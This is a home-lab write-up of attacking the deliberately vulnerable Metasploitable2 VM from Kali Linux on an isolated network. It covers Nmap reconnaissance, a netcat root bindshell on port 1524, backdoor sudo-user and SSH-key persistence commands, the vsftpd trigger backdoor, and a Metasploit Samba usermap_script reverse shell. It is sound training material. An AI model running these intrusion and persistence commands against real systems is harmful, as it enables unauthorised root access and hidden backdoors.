Metasploitable2 Exploitation Lab with Kali Linux

Home Lab

🐉 Kali Linux 🎯 Metasploitable2 🛠️ Metasploit Framework 🔎 Nmap

An isolated home lab pairing Kali Linux (attacker) against Metasploitable2 (intentionally vulnerable target) to practice reconnaissance, exploitation, and post-exploitation techniques — reconnaissance with Nmap, exploiting a wide-open root shell, planting persistence, and gaining root access via a real Metasploit module against Samba.

⚠️ Scope note: Metasploitable2 is an intentionally vulnerable virtual machine built by Rapid7 specifically for practicing exploitation techniques in an isolated lab. Every step below was performed against this training target only, on a host-only/internal network with no route to production or the internet.

1Lab Environment Setup

Installed Metasploitable2 and Kali Linux as virtual machines on the same isolated host-only network — Kali as the attacker box, Metasploitable2 as the intentionally vulnerable target.

Metasploitable2 VM running in VirtualBox

Metasploitable2 booted and running in Oracle VirtualBox

Metasploitable2 IP: 192.168.56.101 | Kali Linux IP: 192.168.56.104

ifconfig output on Metasploitable2 showing 192.168.56.101

ifconfig on Metasploitable2 — 192.168.56.101

ifconfig output on Kali Linux showing 192.168.56.104

ifconfig on Kali Linux — 192.168.56.104

Connectivity Check

Verified both directions of connectivity before any attack simulation began — a mandatory pre-engagement check to confirm the lab network is isolated from the production home network.

Kali Linux pinging Metasploitable2 successfully

Kali → Metasploitable2 — 4 packets transmitted, 0% loss

Metasploitable2 pinging Kali Linux successfully

Metasploitable2 → Kali — reply received, both hosts reachable

💡 Purpose: Verify that the penetration testing lab environment is isolated from the production home network before any attack simulation begins. This is a mandatory pre-engagement check.

2Reconnaissance with Nmap

Scanned the target with Nmap to enumerate open ports, running services, and the operating system before attempting anything further.

Flag	Purpose
-sC	Run default Nmap scripts
-sV	Detect service/version info
-p-	Scan all 65535 ports
-oN	Save output to a file
-T4	Faster scan timing
-O	Attempt OS detection

Command: nmap -sC -sV -p- -oN metasploit.txt -T4 -O 192.168.56.101

nmap scan starting against 192.168.56.101

Nmap scan launched against 192.168.56.101

The scan returned a long list of open ports and services — a hallmark of Metasploitable2's intentionally vulnerable design.

Nmap scan results showing open ports on Metasploitable2

Open ports — FTP, SSH, Telnet, SMTP, RPC, and more

Nmap scan results showing more open ports and OS detection

Further open ports, SMB script results, and OS detection

🚩 Critical finding: Port 1524 was found open, running a bindshell that hands out an unauthenticated root shell to anyone who connects. This is not a vulnerability or misconfiguration — it's a wide-open root shell. On a real engagement, this would be a P0 critical finding: the engagement stops and the client gets a phone call, not an email.

3Exploiting the Port 1524 Root Shell

Connected directly to the exposed bindshell using netcat — no exploit code or authentication required.

Command: nc 192.168.56.101 1524

Netcat connecting to port 1524 and receiving a root shell

netcat connects to port 1524 — instant root@metasploitable:/#

Post-Exploitation Enumeration

Confirmed the shell's privilege level and enumerated local accounts.

id — uid=0(root) gid=0(root) groups=0(root)

cat /etc/passwd — full local account listing

Field Order	username : password : uid : gid : comment : home : shell

Post-Exploitation Goal	Description
PERSISTENCE	Stay in even after reboot or port closure
PILLAGING	Steal credentials, keys, sensitive data
PIVOTING	Use this machine to reach other machines

4Establishing Persistence

Persistence 1 — Backdoor User Account

Created a hidden local account that survives the bindshell port being closed — access is retained through standard SSH on port 22 instead.

Commands: useradd -m -s /bin/bash weaker → echo "weaker:Password123" | chpasswd → usermod -aG sudo weaker

Creating a backdoor user account with sudo privileges

Backdoor user "weaker" created and added to the sudo group

Persistence 2 — Planted SSH Key

Generated an SSH keypair on Kali, then planted the public key into the target's authorized_keys file for passwordless root access going forward.

ssh-keygen -t rsa — keypair generated on Kali

Public key added to authorized_keys with chmod 600 applied

Public key appended to /root/.ssh/authorized_keys, chmod 600 applied

5File Transfer Protocol (FTP)

Tested anonymous FTP access — entering "anonymous" as the username with a blank password granted a successful login.

Command: ftp 192.168.56.101 | Login: anonymous

Anonymous FTP login succeeding on Metasploitable2

230 Login successful — anonymous FTP access confirmed

Comparing Backdoor Sophistication

Contrasted the two backdoor styles encountered so far, to illustrate why detectability matters as much as impact.

Backdoor	Behavior
Port 1524 bindshell	Always open, waiting for anyone → requires zero interaction → detectable by any port scanner → a lazy attacker technique
vsftpd backdoor (port 6200)	Port does not exist until triggered → requires knowing the secret input → a port scan shows nothing on 6200 before the trigger → a sophisticated supply-chain technique

Triggering the vsftpd backdoor with a crafted FTP username and connecting to port 6200

Triggering the FTP backdoor and connecting to the hidden port 6200 shell

6Exploiting Samba via Metasploit

Moved from manual exploitation to the Metasploit Framework itself, targeting the outdated Samba 3.0.20 service on port 445.

msfconsole starting up with the Metasploit banner

msfconsole — Metasploit Framework v6.4.116-dev

Searched for a matching exploit module against the Samba "username map script" vulnerability.

Command: search samba usermap

msfconsole search results showing the samba usermap_script exploit

exploit/multi/samba/usermap_script — matched and selected

Reviewed the module's options. Metasploit had already auto-selected cmd/unix/reverse_netcat as the payload — the framework choosing what's known to work against this target.

show options output listing RHOSTS, RPORT, LHOST, and LPORT

show options — RHOSTS, RPORT 139, LHOST, LPORT 4444

Commands: set RHOSTS 192.168.56.101 → set LHOST 192.168.56.104 → run

Ran the exploit against the target, sending the reverse shell back to Kali. The exploit succeeded and returned a root shell.

Command shell session opened with uid=0(root) confirmed via id and whoami

Command shell session opened — id confirms uid=0(root), whoami confirms root

💡 Result: The usermap_script exploit against Samba 3.0.20 succeeded, handing back a fully interactive root shell via a reverse TCP connection to the attacking Kali machine — demonstrating a full exploitation chain from recon to root using the Metasploit Framework.

✓Key Learnings

Built and validated an isolated attacker/target lab (Kali Linux + Metasploitable2) with a mandatory pre-engagement connectivity check before any exploitation began
Performed structured reconnaissance with Nmap (script scans, version detection, full port range, OS fingerprinting) and interpreted the results to prioritize findings
Identified and exploited a wide-open root-shell backdoor on port 1524 using nothing but netcat, and explained why it constitutes a critical finding in a real engagement
Practiced post-exploitation enumeration (id, /etc/passwd) and organized results using the Persistence / Pillaging / Pivoting framework
Implemented two persistence techniques — a backdoor sudo user and a planted SSH key — to demonstrate how attackers retain access after an initial foothold is discovered and closed
Compared a "loud" always-open backdoor against a "quiet" trigger-based backdoor (vsftpd on port 6200) to reason about detectability versus sophistication
Used the Metasploit Framework end-to-end — searching for a module, reviewing auto-selected payloads, configuring RHOSTS/LHOST, and executing a real exploit (Samba usermap_script) to obtain a root reverse shell

Back to Projects